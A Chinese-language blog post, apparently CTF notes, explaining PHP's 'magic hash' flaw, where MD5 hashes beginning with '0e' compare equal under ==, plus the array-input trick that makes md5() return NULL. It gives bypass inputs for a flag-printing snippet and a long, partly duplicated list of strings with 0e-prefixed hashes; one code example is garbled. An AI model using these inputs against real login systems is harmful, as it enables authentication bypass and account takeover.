Magic Hash(php漏洞) md5

“Magic Hash”的PHP漏洞可以使得攻擊者非法獲取用戶的賬號信息。

漏洞原因:

PHP以一種特定的方式處理被哈希的字符串,攻擊者可以利用其從中嘗試並可能獲取密碼,繞過登錄認證系統和其它運行在PHP哈希比較之上的函數。

漏洞描述:

PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋爲0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以”0E”開頭的,那麼PHP將會認爲他們相同,都是0。

舉個小例子:
var_dump('asdas',0); 和 var_dump('0asdas',0); 的結果都是true。

攻擊者可以利用這一漏洞,通過輸入一個經過哈希後以”0E”開頭的字符串,即會被PHP解釋爲0,如果數據庫中存在這種哈希值以”0E”開頭的密碼的話,他就可以以這個用戶的身份登錄進去,儘管並沒有真正的密碼。

PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,它把每一個以”0E”開頭的哈希值都解釋爲0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以”0E”開頭的,那麼PHP將會認爲他們相同,都是0。

所以一般碰到這種類型的漏洞會按照以下兩種方法繞過:

echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}

1、利用==比較的bug,生成的md5值爲0e開頭會被解析爲0^{}的冪次恆等於0 key1=0e****&&key2=0e*** 此時上述代碼就會輸出flag
2、利用md5()函數無法處理數組,如果傳入的爲數組,會返回NULL
key1[ ]=11&&key2[ ]=22 此時上述代碼就會輸出flag

記錄一些MD5值:

純數字類:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
 
 
大寫字母類:
QLTHNDT
0e405967825401955372549139051580
 
QNKCDZO
0e830400451993494058024219903391
 
EEIZDOI
0e782601363539291779881938479162
 
TUFEPMC
0e839407194569345277863905212547
 
UTIPEZQ
0e382098788231234954670291303879
 
UYXFLOI
0e552539585246568817348686838809
 
IHKFRNS
0e256160682445802696926137988570
 
PJNPDWY
0e291529052894702774557631701704
 
ABJIHVY
0e755264355178451322893275696586
 
DQWRASX
0e742373665639232907775599582643
 
DYAXWCA
0e424759758842488633464374063001
 
GEGHBXL
0e248776895502908863709684713578
 
GGHMVOE
0e362766013028313274586933780773
 
GZECLQZ
0e537612333747236407713628225676
 
NWWKITQ
0e763082070976038347657360817689
 
NOOPCJF
0e818888003657176127862245791911
 
MAUXXQC
0e478478466848439040434801845361
 
MMHUWUV
0e701732711630150438129209816536
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章